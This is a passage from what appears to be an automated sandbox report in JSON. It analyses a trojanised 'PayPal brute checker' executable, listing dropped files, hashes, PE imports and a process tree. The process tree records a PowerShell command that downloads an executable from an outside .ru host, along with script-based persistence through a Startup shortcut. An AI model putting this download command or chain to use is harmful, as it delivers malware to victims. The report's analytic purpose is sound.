selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=239ca16044e497ee67dd8ce62e18ac6072570888a925b768fd69e123f41ee8be001cd0668f488e24af17256b7a501fe27087164345563483dce5b3c2aac2469e1ad05661d0f4e19ee3d75f7eaec363f57cb301","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=239ca16044e497ee67dd8ce62e18ac6072570888a925b768fd69e123f41ee8be001cd0668f488e24af17256b7a501fe27087164345563483dce5b3c2aac2469e1ad05661d0f4e19ee3d75f7eaec363f57cb301","has_overview":false,"extended_details":null},{"name":"System.vbe","file_path":"C:\\Media\\System.vbe","file_size":483,"md5":"f84d36e05404e34166b98c60c5a191c2","sha1":"77ea464a8f3e44a8ca05330aee14fb554a94b85a","sha256":"d66a921d4386248101a563d82894541398037a75fb0aad938b774b921243b4d9","sha512":"2331478e166a07abd5f7aac939ace72296d8d7fdae26a7cee8d42de55b791ac1a9e38acb04975a9f373532bf4cd8c0d65a369bf7667339b713972ab471c01350","type_tags":["data"],"description":"data","runtime_process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe (PID: 2736)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=3e67df7573ed961538c04f2f7eb17a652e7cd48be73012ff2af2cc4ea0045df2e28f79b592522e87f8b48fedff60dc36620f74832e2c128b441683e0ea1a1af949cddd3570","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=3e67df7573ed961538c04f2f7eb17a652e7cd48be73012ff2af2cc4ea0045df2e28f79b592522e87f8b48fedff60dc36620f74832e2c128b441683e0ea1a1af949cddd3570","has_overview":false,"extended_details":null},{"name":"zVzv5CCsXa33WA0xKgGdsJR1M6LeDN.bat","file_path":"C:\\Media\\zVzv5CCsXa33WA0xKgGdsJR1M6LeDN.bat","file_size":726,"md5":"3413f55c9ed8a927407ac070fc2c76b5","sha1":"11dea8a3b99436d4fac2bd54bad06e031e0e6adc","sha256":"c9f887b9dbc6a194fe9c1329d356c2f429efc80cfa14e035d489caeb04993863","sha512":"378f6300046b6b5a497eb0544dbbd0865ae14b6df81b25cd84cb88e8644ee29bd7b39e23c03a072e9b061699eb9b6667669267076502cdc5cb2254c6dc3ad5fc","type_tags":["text"],"description":"ASCII text, with very long lines","runtime_process":"cmd.exe (PID: 2600)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=ed2ecb07b69e43656e7fef3c01b316d4c820ac683d4f2376d87e08a13c2d2f8662a4cf2096bdad7123a0a6f559f7ca1a2088fd734fceb8ebd9cd6e82ecd961f7685d96844d262f80514447678dd0292df946ce87026ad897ae4a93d054","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=ed2ecb07b69e43656e7fef3c01b316d4c820ac683d4f2376d87e08a13c2d2f8662a4cf2096bdad7123a0a6f559f7ca1a2088fd734fceb8ebd9cd6e82ecd961f7685d96844d262f80514447678dd0292df946ce87026ad897ae4a93d054","has_overview":false,"extended_details":null},{"name":"desktop.ini","file_path":"%USERPROFILE%\\Desktop\\desktop.ini","file_size":0,"md5":null,"sha1":null,"sha256":null,"sha512":null,"type_tags":["empty"],"description":"empty","runtime_process":"PayPalBrute_Checker.exe (PID: 3552)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"PayPal.scr","file_path":"%APPDATA%\\1337\\PayPal.scr","file_size":266843,"md5":"40d5b3d7d5c5a1c51bfd2ffbff875e79","sha1":"882ffe34e41c47c97097b06c0632d0b41788cb06","sha256":"d0046805dc2deebf17fb3acd664c2d5f2d22919be712e35fe4f6983a5cb85b93","sha512":"7fe4aa9cf0523bf3ced833c534540e84c1f2728c767b582d6c3cb507ade05c126950e80569add9f5805b9cb0467bb54ee69884b35188de98796b3f3df345e5e5","type_tags":["unknown"],"description":null,"runtime_process":"PayPalBrute_Checker.exe (PID: 3552)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"MQOD35MENIHXZUPH63JD.temp","file_path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\MQOD35MENIHXZUPH63JD.temp","file_size":8016,"md5":"01ca6f6110ae733edffec82ebd807485","sha1":"5e32347dbff12584caabaf896a29b349f005057c","sha256":"f3706d95f07466b5de60afad25c24c3817cf0c56f128b6a5a75474f825600d0a","sha512":"feb7790b3305e056354df53bb08f5322ce4b9396f34b940f5c0b25c13e6149d625a38115c267d522eb9659564105a353ac69435e58834e48babffc2aa6357212","type_tags":["unknown"],"description":null,"runtime_process":"powershell.exe (PID: 3808)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"S9RILVNAHIHA37GQ4HDL.temp","file_path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\S9RILVNAHIHA37GQ4HDL.temp","file_size":8016,"md5":"3ac7d3fd718c6f4c257f9cd4205f16b7","sha1":"ded203e3339f505fa96dc58df7025f322cba411e","sha256":"c8cc152a2579b335bbacba127c3124689bae393503122d768a05f2fb7f61031f","sha512":"152552f04038e6fbff603b55a416874ac1dcbcd248bd82091444ff1fad25734d43b70968c1643578d31cc02c4854a9e1e30140a29ed083df02ab2ab5b4514070","type_tags":["unknown"],"description":null,"runtime_process":"powershell.exe (PID: 3764)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"System.lnk","file_path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\System.lnk","file_size":363,"md5":"49be3f0d3058461e4532711b7062e10b","sha1":"5b12a980df1a1b6f62a1c15eb9b9e9f7019c31d4","sha256":"436b58c518e5f7fbab1b4c8688a2d858e4b1e3082c41157ce7eeb06f3e489c3e","sha512":"9df55babae1b7ae5c3fe84312c814551fb1ffd7ccdd096ea145ac078c8622ecc3135a3d61a8f85cd8dfd1d5756bb9d1755337de6bb3a4330ad8084eb596b1cec","type_tags":["lnk"],"description":"MS Windows shortcut, Item id list present, Has Relative path, ctime=Mon Jan 1 00:00:00 1601, mtime=Mon Jan 1 00:00:00 1601, atime=Mon Jan 1 00:00:00 1601, length=0, window=hide","runtime_process":"cmd.exe (PID: 2600)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=044553bf2d2320f6a9294fce27bf317bc0e2e3b361d39d692289b25267fbd100f9d3a61a07e0deb33e9157b11ecec9cb2800ee7f17e88b7036b0cd9ab0904f0c7ad08b7b05","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=044553bf2d2320f6a9294fce27bf317bc0e2e3b361d39d692289b25267fbd100f9d3a61a07e0deb33e9157b11ecec9cb2800ee7f17e88b7036b0cd9ab0904f0c7ad08b7b05","has_overview":false,"extended_details":null},{"name":"autC0FE.tmp","file_path":"%TEMP%\\autC0FE.tmp","file_size":1978224,"md5":"092295ff2ce8fd862527b44fede94001","sha1":"d2580066cbac418e178d246c0c7ebfe848f5ae75","sha256":"4e5fed2448192bf3134f8ea07332ce554a8cb64daebc63d48d5b297ec62947cf","sha512":"fa73d1905bbcffaf9886e77a4c703a6f50e1c60406d98126f26086b129a5e3df8118fb9fb47021311eae6826a9eaba21777afdb876b9d64dabc9aee5d9da9c88","type_tags":["unknown"],"description":null,"runtime_process":"PayPal brute?checker.exe (PID: 3540)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"autC257.tmp","file_path":"%TEMP%\\autC257.tmp","file_size":6076,"md5":"6d86e1130e2db00ce2e0080986bafbae","sha1":"f45a44f2710583ae686e2b83de9f0216ce67f6ea","sha256":"d6dc9006e6e6ba930c4edd0f6031d84438ab33232c25ca681195d44b61751b04","sha512":"5dad45bfcabac6a94bae5f8d96b158396337a5d2159afe970712e181ca5c953c11b9e8137c14cf52e4d79ce2553ad5a9e2e4c20860e3bfdf5c1996d8c3d4e979","type_tags":["unknown"],"description":null,"runtime_process":"PayPal brute?checker.exe (PID: 3540)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"nseA6DF.tmp","file_path":"%TEMP%\\nseA6DF.tmp","file_size":3459286,"md5":"74bfe830a84a80739222dc5c6ae3bf82","sha1":"067fec814a9b07ef2e0a90c412b1b51eb1379e3a","sha256":"11f232c21f851578c6b1f554bed4cb9ad2949bd3f012b5cc7bc952aa77161671","sha512":"d1405e054fe0ae0b8c18076e37b4297df09c5feeae5b8bba7c0e5266408fe924c0ed397d2257fae7149fa453b625f2c480604f614848431a7bc27b4e52c8b9da","type_tags":["unknown"],"description":null,"runtime_process":"PayPalBrute_Checker.exe (PID: 3552)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"WatchDog.data","file_path":"C:\\Media\\WatchDog.data","file_size":100,"md5":"9571cc7c7034d1ba4271eec6568cfeb4","sha1":"04a3fd6e1a39db8c7d6f375a70363c9b5caadb99","sha256":"c5d1105857151358b9ee039fcd4911761f9e0ace45e6d2d69c78670e42c1b731","sha512":"5cec346fda75243871d8115701531b49de15c48471b38f9d1350a455181726f416af8cf1896ab1e7c1997ea4ea1c7caf214f489cb9b7a79e2279f839234f18e7","type_tags":["unknown"],"description":null,"runtime_process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe (PID: 2736)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"vmcheck32.dll","file_path":"C:\\Media\\vmcheck32.dll","file_size":108,"md5":"68d8b0e03471bb4de2788b29c27ff4a9","sha1":"b63b92d5993e33f14299e7cabd5eda37cf935e85","sha256":"1ae884d2ec57920915a87f8b544e2639eb41c35f8eb575541be2d470647c4317","sha512":"55ab3e33733806508ea0ace9602dc5597f830e9963cb0ff342b0f9c4bc5b967b5383b99d3f054a6c2c6babc9e24d2bbb86ca9e213ef01eb95362e35000bd7dd9","type_tags":["text"],"description":"ASCII text, with no line terminators","runtime_process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe (PID: 2736)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=9685b506f5efe93cd769aed9606105f775cd788f0cc21bbc66c0e0afa243fabc0628779de5aa4e31b5e43366c01a8e5b96ca468455feb40f5d53c97d8a1111175a59ec5888bd94","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=9685b506f5efe93cd769aed9606105f775cd788f0cc21bbc66c0e0afa243fabc0628779de5aa4e31b5e43366c01a8e5b96ca468455feb40f5d53c97d8a1111175a59ec5888bd94","has_overview":false,"extended_details":null},{"name":"PayPal brute_checker.exe","file_path":null,"file_size":3177984,"md5":"713124af372e7759ff4b182aadc4349a","sha1":"78e5ee23d6af9fcf3420a4e5e6ff31b3989bf5d3","sha256":"de8648b195bb21c536ae4c4c8a26a8d8e396843d602a0b924538196ceb9fd89f","sha512":"1dd9db7d101138879f78b2d4750db9a4fa6efbfec8ec8c6f11f5a86768e70c9758ea8889ce5c25c293226366f8fa7a85163a2a543f140c6259999b146d6dfc28","type_tags":["peexe","64bits","executable"],"description":"PE32+ executable (GUI) x86-64, for MS Windows","runtime_process":null,"threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=f917e5ef9350b0ebdd85309b66f340bd09e53e9931d4bab0461cf4238529d9001d9b95f97ca16a2206bde6b894e9c7f967b8fb020a0ba663e7cdd4c84093cb84b7bbc51b5c9342fd21c55edc32b3b4a52ec8b0","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=f917e5ef9350b0ebdd85309b66f340bd09e53e9931d4bab0461cf4238529d9001d9b95f97ca16a2206bde6b894e9c7f967b8fb020a0ba663e7cdd4c84093cb84b7bbc51b5c9342fd21c55edc32b3b4a52ec8b0","has_overview":false,"extended_details":{"filename":"PayPal brute_checker.exe","size":3177984,"description":null,"architecture":"64 Bit","ssdeep":"98304:KJotyDQNkHpPt1B+gJPc/KTQIkcR1eYd4Sn:Kb8NMPBNdPeY3","imphash":"a6b79195015e1e45d816e61ee943224b","authentihash":"f43caeb23fe3ef739083faa21e9682a4f642136bab098f7030684c15d325c0a9","entrypoint_bytes":null,"packer":null,"version_info":[{"id":"Translation","value":"0x0809 0x04b0"}],"file_sections":[{"name":".text","entropy":6.51159091106,"virtual_address":"0x1000","virtual_size":"0xa8285","raw_size":"0xa8400","md5":"d22c47808f41c214f3a2f4857b850834"},{"name":".rdata","entropy":5.29127439186,"virtual_address":"0xaa000","virtual_size":"0x31808","raw_size":"0x31a00","md5":"949f2633dfa964890f744be0550025fc"},{"name":".data","entropy":1.15891733596,"virtual_address":"0xdc000","virtual_size":"0xb230","raw_size":"0x5e00","md5":"eb799336609d36706092ae6ef79815ab"},{"name":".pdata","entropy":5.87141014565,"virtual_address":"0xe8000","virtual_size":"0x699c","raw_size":"0x6a00","md5":"3230a8be94db766f0360be9d58c01b2d"},{"name":".rsrc","entropy":7.90948787348,"virtual_address":"0xef000","virtual_size":"0x2207d8","raw_size":"0x220800","md5":"0d54601a35fee96b0a87de91e12147ed"},{"name":".reloc","entropy":5.15455256996,"virtual_address":"0x310000","virtual_size":"0xa7c","raw_size":"0xc00","md5":"8a11d2cb46b101de2b0fbec089ffa515"}],"file_imports":[{"module":"ADVAPI32.dll","functions":["AddAce","AdjustTokenPrivileges","AllocateAndInitializeSid","CheckTokenMembership","CopySid","CreateProcessAsUserW","CreateProcessWithLogonW","DuplicateTokenEx","FreeSid","GetAce","GetAclInformation","GetLengthSid","GetSecurityDescriptorDacl","GetTokenInformation","GetUserNameW","InitializeAcl","InitializeSecurityDescriptor","InitiateSystemShutdownExW","LogonUserW","LookupPrivilegeValueW","OpenProcessToken","OpenThreadToken","RegCloseKey","RegConnectRegistryW","RegCreateKeyExW","RegDeleteKeyW","RegDeleteValueW","RegEnumKeyExW","RegEnumValueW","RegOpenKeyExW","RegQueryValueExW","RegSetValueExW","SetSecurityDescriptorDacl"]},{"module":"COMCTL32.dll","functions":["ImageList_BeginDrag","ImageList_Create","ImageList_Destroy","ImageList_DragEnter","ImageList_DragLeave","ImageList_DragMove","ImageList_EndDrag","ImageList_Remove","ImageList_ReplaceIcon","ImageList_SetDragCursorImage","InitCommonControlsEx"]},{"module":"COMDLG32.dll","functions":["GetOpenFileNameW","GetSaveFileNameW"]},{"module":"GDI32.dll","functions":["AngleArc","BeginPath","CloseFigure","CreateCompatibleBitmap","CreateCompatibleDC","CreateDCW","CreateFontW","CreatePen","CreateSolidBrush","DeleteDC","DeleteObject","Ellipse","EndPath","ExtCreatePen","GetDeviceCaps","GetDIBits","GetObjectW","GetPixel","GetStockObject","GetTextExtentPoint32W","GetTextFaceW","LineTo","MoveToEx","PolyDraw","Rectangle","RoundRect","SelectObject","SetBkColor","SetBkMode","SetPixel","SetTextColor","SetViewportOrgEx","StretchBlt","StrokeAndFillPath","StrokePath"]},{"module":"IPHLPAPI.DLL","functions":["IcmpCloseHandle","IcmpCreateFile","IcmpSendEcho"]},{"module":"KERNEL32.dll","functions":["Beep","CloseHandle","CompareStringW","CopyFileExW","CopyFileW","CreateDirectoryW","CreateEventW","CreateFileW","CreateHardLinkW","CreatePipe","CreateProcessW","CreateThread","CreateToolhelp32Snapshot","DecodePointer","DeleteCriticalSection","DeleteFileW","DeviceIoControl","DuplicateHandle","EncodePointer","EnterCriticalSection","EnumResourceNamesW","ExitProcess","ExitThread","FileTimeToLocalFileTime","FileTimeToSystemTime","FindClose","FindFirstFileW","FindNextFileW","FindResourceExW","FindResourceW","FlushFileBuffers","FormatMessageW","FreeEnvironmentStringsW","FreeLibrary","GetACP","GetCommandLineW","GetComputerNameW","GetConsoleCP","GetConsoleMode","GetCPInfo","GetCurrentDirectoryW","GetCurrentProcess","GetCurrentProcessId","GetCurrentThread","GetCurrentThreadId","GetDateFormatW","GetDiskFreeSpaceExW","GetDiskFreeSpaceW","GetDriveTypeW","GetEnvironmentStringsW","GetEnvironmentVariableW","GetExitCodeProcess","GetFileAttributesW","GetFileSize","GetFileType","GetFullPathNameW","GetLastError","GetLocalTime","GetLongPathNameW","GetModuleFileNameW","GetModuleHandleExW","GetModuleHandleW","GetOEMCP","GetPrivateProfileSectionNamesW","GetPrivateProfileSectionW","GetPrivateProfileStringW","GetProcAddress","GetProcessHeap","GetProcessId","GetProcessIoCounters","GetShortPathNameW","GetStartupInfoW","GetStdHandle","GetStringTypeW","GetSystemDirectoryW","GetSystemInfo","GetSystemTimeAsFileTime","GetTempFileNameW","GetTempPathW","GetTimeFormatW","GetTimeZoneInformation","GetVersionExW","GetVolumeInformationW","GetWindowsDirectoryW","GlobalAlloc","GlobalFree","GlobalLock","GlobalMemoryStatusEx","GlobalUnlock","HeapAlloc","HeapFree","HeapReAlloc","HeapSize","InitializeCriticalSectionAndSpinCount","IsDebuggerPresent","IsProcessorFeaturePresent","IsValidCodePage","IsWow64Process","LCMapStringW","LeaveCriticalSection","LoadLibraryA","LoadLibraryExW","LoadLibraryW","LoadResource","LocalFileTimeToFileTime","LockResource","lstrcmpiW","lstrcpyW","lstrlenW","MoveFileW","MulDiv","MultiByteToWideChar","OpenProcess","OutputDebugStringW","Process32FirstW","Process32NextW","QueryPerformanceCounter","QueryPerformanceFrequency","RaiseException","ReadConsoleW","ReadFile","ReadProcessMemory","RemoveDirectoryW","ResumeThread","RtlCaptureContext","RtlLookupFunctionEntry","RtlPcToFileHeader","RtlUnwindEx","RtlVirtualUnwind","SetCurrentDirectoryW","SetEndOfFile","SetEnvironmentVariableA","SetEnvironmentVariableW","SetErrorMode","SetEvent","SetFileAttributesW","SetFilePointerEx","SetFileTime","SetLastError","SetPriorityClass","SetStdHandle","SetSystemPowerState","SetUnhandledExceptionFilter","SetVolumeLabelW","SizeofResource","Sleep","SystemTimeToFileTime","TerminateProcess","TerminateThread","TlsAlloc","TlsFree","TlsGetValue","TlsSetValue","UnhandledExceptionFilter","VirtualAlloc","VirtualAllocEx","VirtualFree","VirtualFreeEx","WaitForSingleObject","WideCharToMultiByte","WriteConsoleW","WriteFile","WritePrivateProfileSectionW","WritePrivateProfileStringW","WriteProcessMemory"]},{"module":"MPR.dll","functions":["WNetAddConnection2W","WNetCancelConnection2W","WNetGetConnectionW","WNetUseConnectionW"]},{"module":"ole32.dll","functions":["CLSIDFromProgID","CLSIDFromString","CoCreateInstance","CoCreateInstanceEx","CoGetInstanceFromFile","CoGetObject","CoInitialize","CoInitializeSecurity","CoSetProxyBlanket","CoTaskMemAlloc","CoTaskMemFree","CoUninitialize","CreateStreamOnHGlobal","GetRunningObjectTable","IIDFromString","MkParseDisplayName","OleInitialize","OleSetContainedObject","OleSetMenuDescriptor","OleUninitialize","ProgIDFromCLSID","StringFromGUID2"]},{"module":"OLEAUT32.dll","functions":["CreateDispTypeInfo","CreateStdDispatch","DispCallFunc","LoadTypeLibEx","OleLoadPicture","QueryPathOfRegTypeLib","RegisterTypeLib","RegisterTypeLibForUser","SafeArrayAccessData","SafeArrayAllocData","SafeArrayAllocDescriptorEx","SafeArrayCreateVector","SafeArrayDestroyData","SafeArrayDestroyDescriptor","SafeArrayGetVartype","SafeArrayUnaccessData","SysAllocString","SysFreeString","SysReAllocString","SysStringLen","UnRegisterTypeLib","UnRegisterTypeLibForUser","VariantChangeType","VariantClear","VariantCopy","VariantCopyInd","VariantInit","VariantTimeToSystemTime","VarR8FromDec"]},{"module":"PSAPI.DLL","functions":["GetProcessMemoryInfo"]},{"module":"SHELL32.dll","functions":["DragFinish","DragQueryFileW","DragQueryPoint","ExtractIconExW","SHBrowseForFolderW","SHCreateShellItem","Shell_NotifyIconW","ShellExecuteExW","ShellExecuteW","SHEmptyRecycleBinW","SHFileOperationW","SHGetDesktopFolder","SHGetFolderPathW","SHGetPathFromIDListW","SHGetSpecialFolderLocation"]},{"module":"USER32.dll","functions":["AdjustWindowRectEx","AttachThreadInput","BeginPaint","BlockInput","CallWindowProcW","CharLowerBuffW","CharNextW","CharUpperBuffW","CheckMenuRadioItem","ClientToScreen","CloseClipboard","CloseDesktop","CloseWindowStation","CopyImage","CopyRect","CountClipboardFormats","CreateAcceleratorTableW","CreateIconFromResourceEx","CreateMenu","CreatePopupMenu","CreateWindowExW","DefDlgProcW","DefWindowProcW","DeleteMenu","DestroyAcceleratorTable","DestroyIcon","DestroyMenu","DestroyWindow","DialogBoxParamW","DispatchMessageW","DrawFocusRect","DrawFrameControl","DrawMenuBar","DrawTextW","EmptyClipboard","EnableWindow","EndDialog","EndPaint","EnumChildWindows","EnumThreadWindows","EnumWindows","ExitWindowsEx","FillRect","FindWindowExW","FindWindowW","FlashWindow","FrameRect","GetActiveWindow","GetAsyncKeyState","GetCaretPos","GetClassLongPtrW","GetClassNameW","GetClientRect","GetClipboardData","GetCursorInfo","GetCursorPos","GetDC","GetDesktopWindow","GetDlgCtrlID","GetDlgItem","GetFocus","GetForegroundWindow","GetKeyboardLayoutNameW","GetKeyboardState","GetKeyState","GetMenu","GetMenuItemCount","GetMenuItemID","GetMenuItemInfoW","GetMenuStringW","GetMessageW","GetMonitorInfoW","GetParent","GetProcessWindowStation","GetSubMenu","GetSysColor","GetSysColorBrush","GetSystemMetrics","GetUserObjectSecurity","GetWindowDC","GetWindowLongPtrW","GetWindowLongW","GetWindowRect","GetWindowTextLengthW","GetWindowTextW","GetWindowThreadProcessId","InflateRect","InsertMenuItemW","InvalidateRect","IsCharAlphaNumericW","IsCharAlphaW","IsCharLowerW","IsCharUpperW","IsClipboardFormatAvailable","IsDialogMessageW","IsDlgButtonChecked","IsIconic","IsMenu","IsWindow","IsWindowEnabled","IsWindowVisible","IsZoomed","keybd_event","KillTimer","LoadCursorW","LoadIconW","LoadImageW","LoadStringW","LockWindowUpdate","MapVirtualKeyW","MessageBeep","MessageBoxA","MessageBoxW","MonitorFromPoint","MonitorFromRect","mouse_event","MoveWindow","OpenClipboard","OpenDesktopW","OpenWindowStationW","PeekMessageW","PostMessageW","PostQuitMessage","PtInRect","RedrawWindow","RegisterClassExW","RegisterHotKey","RegisterWindowMessageW","ReleaseCapture","ReleaseDC","ScreenToClient","SendDlgItemMessageW","SendInput","SendMessageTimeoutW","SendMessageW","SetActiveWindow","SetCapture","SetClipboardData","SetCursor","SetFocus","SetForegroundWindow","SetKeyboardState","SetLayeredWindowAttributes","SetMenu","SetMenuDefaultItem","SetMenuItemInfoW","SetProcessWindowStation","SetRect","SetTimer","SetUserObjectSecurity","SetWindowLongPtrW","SetWindowLongW","SetWindowPos","SetWindowTextW","ShowWindow","SystemParametersInfoW","TrackPopupMenuEx","TranslateAcceleratorW","TranslateMessage","UnregisterHotKey","VkKeyScanW","wsprintfW"]},{"module":"USERENV.dll","functions":["CreateEnvironmentBlock","DestroyEnvironmentBlock","LoadUserProfileW","UnloadUserProfile"]},{"module":"UxTheme.dll","functions":["IsThemeActive"]},{"module":"VERSION.dll","functions":["GetFileVersionInfoSizeW","GetFileVersionInfoW","VerQueryValueW"]},{"module":"WININET.dll","functions":["FtpGetFileSize","FtpOpenFileW","HttpOpenRequestW","HttpQueryInfoW","HttpSendRequestW","InternetCloseHandle","InternetConnectW","InternetCrackUrlW","InternetOpenUrlW","InternetOpenW","InternetQueryDataAvailable","InternetQueryOptionW","InternetReadFile","InternetSetOptionW"]},{"module":"WINMM.dll","functions":["mciSendStringW","timeGetTime","waveOutSetVolume"]},{"module":"WSOCK32.dll","functions":["__WSAFDIsSet","accept","bind","closesocket","connect","gethostbyname","gethostname","htons","inet_addr","inet_ntoa","ioctlsocket","listen","ntohs","recv","recvfrom","select","send","sendto","setsockopt","socket","WSACleanup","WSAGetLastError","WSAStartup"]}],"file_exports":[]}}],"file_metadata":{"file_compositions":["1 .RES Files linked with CVTRES.EXE 5.00 (Visual Studio 5) (build: 1735)","10 .C Files compiled with CL.EXE (Visual Studio 6 Processor Pack) (build: 9044)","15 .LIB Files generated with LIB.EXE 7.10 (Visual Studio .NET 2003) (build: 4035)"],"imported_objects":["2 .C Files compiled with CL.EXE 13.10 (Visual Studio .NET 2003) (build: 4035)"],"file_analysis":["File is the product of a small codebase (10 files)"],"total_file_compositions_imports":159},"processes":[{"uid":"00099061-00003552","parentuid":null,"name":"PayPalBrute_Checker.exe","normalized_path":"C:\\PayPalBrute_Checker.exe","command_line":null,"sha256":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b","av_label":"Gen:Variant.Nemesis","av_matched":29,"av_total":68,"pid":"3552","icon":"$25","process_flags":[{"name":"Multiscan Match","data":"29/68"}]},{"uid":"00099374-00003980","parentuid":"00099061-00003552","name":"PayPal.scr","normalized_path":"%APPDATA%\\1337\\PayPal.scr","command_line":"/S","sha256":"d0046805dc2deebf17fb3acd664c2d5f2d22919be712e35fe4f6983a5cb85b93","av_label":null,"av_matched":null,"av_total":null,"pid":"3980","icon":null,"process_flags":[]},{"uid":"00099629-00002756","parentuid":"00099374-00003980","name":"wscript.exe","normalized_path":"%WINDIR%\\SysWOW64\\wscript.exe","command_line":"\"%PUBLIC%\\Download\\H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs\"","sha256":"2160ba6829909eeb1d272ac4a5f43588750c0b4743477bf2b46952033b5d4b3b","av_label":null,"av_matched":null,"av_total":null,"pid":"2756","icon":null,"process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00099783-00003796","parentuid":"00099629-00002756","name":"cmd.exe","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Download\\jxzvmjhZXoFhKaVkRQp3.cmd\" \"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3796","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00099826-00003808","parentuid":"00099783-00003796","name":"powershell.exe","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","command_line":"powershell -Command \"(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')\"","sha256":"6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7","av_label":null,"av_matched":null,"av_total":null,"pid":"3808","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null},{"name":"Network Activity","data":null}]},{"uid":"00100348-00000320","parentuid":"00099783-00003796","name":"timeout.exe","normalized_path":"%WINDIR%\\SysWOW64\\timeout.exe","command_line":"TIMEOUT /T 1 /NOBREAK","sha256":"c4efafc49d46dba7e89cd94892799c739a3103f724fec9be494bf1267fdb059e","av_label":null,"av_matched":null,"av_total":null,"pid":"320","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00100415-00002736","parentuid":"00099783-00003796","name":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","normalized_path":"%PUBLIC%\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe","command_line":null,"sha256":"8122082f126a07fe2f623b9b52eaafc2c3665fa6526ec3daae443cf636b62220","av_label":"Disabler.U","av_matched":45,"av_total":72,"pid":"2736","icon":null,"process_flags":[{"name":"Multiscan Match","data":"45/72"}]},{"uid":"00100726-00002996","parentuid":"00100415-00002736","name":"wscript.exe","normalized_path":"%WINDIR%\\SysWOW64\\wscript.exe","command_line":"\"C:\\Media\\System.vbe\"","sha256":"2160ba6829909eeb1d272ac4a5f43588750c0b4743477bf2b46952033b5d4b3b","av_label":null,"av_matched":null,"av_total":null,"pid":"2996","icon":null,"process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00101239-00002600","parentuid":"00100726-00002996","name":"cmd.exe","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\Media\\zVzv5CCsXa33WA0xKgGdsJR1M6LeDN.bat\" 